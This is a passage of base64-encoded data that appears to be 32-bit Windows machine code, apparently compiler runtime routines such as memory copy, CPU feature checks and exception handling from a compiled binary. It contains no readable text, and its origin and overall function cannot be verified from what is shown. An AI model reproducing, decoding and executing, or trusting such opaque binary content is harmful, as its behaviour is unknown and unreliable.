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wXRNhdt0FYX2eQSID+sNi4WY+///O8N0TYgMB42N5Pv//+gPCQAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo4OT//4vlXcOF23UFg87/68OLhZj7//87w3W2av5eiEwf/+uwi/9Vi+yB7IQEAAChGBAKEDPFiUX8g30YAItFEFOLXRSJhaD7//91GOgK3AAAxwAWAAAA6MjYAACDyP/pFwEAAIXbdASFwHTgVlf/dRyNjXz7///o7wcAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///oQgcAAI2NpPv//+g/DQAAi/CF/3RRi0UIg+ABg8gAdByF23UEhfZ1douFmPv//zvDdS6F9ngwO/N2LOtii4WM+///g8gAdFOF23QbhfZ5BzPAZokH6xCLhZj7//87w3RQM8lmiQxHjY3k+///6I0HAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+he4///i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbNq/l4zwGaJRF/+662L/1WL7IHshAQAAKEYEAoQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6IXaAADHABYAAADoQ9cAAIPI/+kXAQAAhdt0BIXAdOBWV/91HI2NfPv//+hqBgAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+i9BQAAjY2k+///6OoMAACL8IX/dFGLRQiD4AGDyAB0HIXbdQSF9nV2i4WY+///O8N1LoX2eDA783Ys62KLhYz7//+DyAB0U4XbdBuF9nkHM8BmiQfrEIuFmPv//zvDdFAzyWaJDEeNjeT7///oCAYAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Nnh//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1s2r+XjPAZolEX/7rrYv/VYvsg30YAHUV6B3ZAADHABYAAADo29UAAIPI/13DVot1EIX2dDqDfRQAdjT/dSD/dRz/dRj/dRRW/3UM/3UI6DT7//+DxByFwHkDxgYAg/j+dSDo09gAAMcAIgAAAOsL6MbYAADHABYAAADohNUAAIPI/15dw4v/VYvsg30YAHUV6KXYAADHABYAAADoY9UAAIPI/13DVot1EIX2dDyDfRQAdjb/dSD/dRz/dRj/dRRW/3UM/3UI6Dj8//+DxByFwHkFM8lmiQ6D+P51IOhZ2AAAxwAiAAAA6wvoTNgAAMcAFgAAAOgK1QAAg8j/Xl3Dg7kEBAAAAHUGuAACAADDi4EABAAA0ejDi/9Vi+xRg8j/M9JWi3UI9/ZXg+D+i/mD+AJzD+gC2AAAxwAMAAAAMsDrU1Mz2wP2OZ8EBAAAdQiB/gAEAAB2CDu3AAQAAHcEsAHrMVboQ9EAAIlF/FmFwHQajUX8UI2PBAQAAOhnBAAAi0X8swGJtwAEAABQ6OHQAABZisNbX16L5V3CBACL/1WL7ItFFEiD6AF0LoPoAXQlg+gJdCCDfRQNdB6KRRA8Y3QIPHN0BDLJ6wKxATPAhMkPlMBdw7ABXcMywF3Di/9Vi+yLRRRIg+gBdD2D6AF0NIPoCXQvg30UDXQpi0UIM8mD4ASyAQvBdQKK0WaDfRBjdAdmg30Qc3UCsQEzwDrRD5TAXcOwAV3DMsBdw4v/VovxV4u+BAQAAOjC/v//hf91BAPG6wIDx19ew4v/VYvsU1aL8VeNTkCLuQQEAACF/3UCi/nol/7//4tdCEgD+Il+NItOKIXJfwSF23QwM9KLw/d1DEmAwjCJTiiL2ID6OX4RgH0QAA+UwP7IJOAEYSw6AtCLRjSIEP9ONOvFi0Y0K/iJfjhAX4lGNF5bXcIMAIv/VYvsUVFTVovxV41OQIu5BAQAAIX/dQKL+egg/v//i1UMSItdCAP4iX40i04ohcl/BovDC8J0OmoA/3UQjUH/UlOJRijozakBAIDBMIld/IvYgPk5fhGAfRQAD5TA/sgk4ARhLDoCyItGNIgI/04067mLRjQr+Il+OEBfiUY0XluL5V3CEACL/1WL7FYz9jl1EH4hU2YPvl0MV4t9FItNCFdT6P4fAACDP/90BkY7dRB8619bXl3Di/9Vi+xWM/Y5dRB+HFeLfRSLTQhX/3UM6BEgAACDP/90BkY7dRB86V9eXcOL/1WL7FYz9jl1EH4hU2YPvl0MV4t9FItNCFdT6CMgAACDP/90BkY7dRB8619bXl3Di/9Vi+xRM8CJTfyJAYlBBIlBCIlBDIlBEIlBFIlBGIlBHIlBIIlBJIlBKGaJQTCJQTiIQTyJgUAEAACJgUQEAACLwYvlXcOL/1WL7FEz0olN/DPAiRFmiUEyi8GJUQSJUQiJUQyJURCJURSJURiJURyJUSCJUSSJUSiIUTCJUTiIUTyJkUAEAACJkUQEAACL5V3Di/9Vi+xWi/HoYP///4tFCIsAiYZIBAA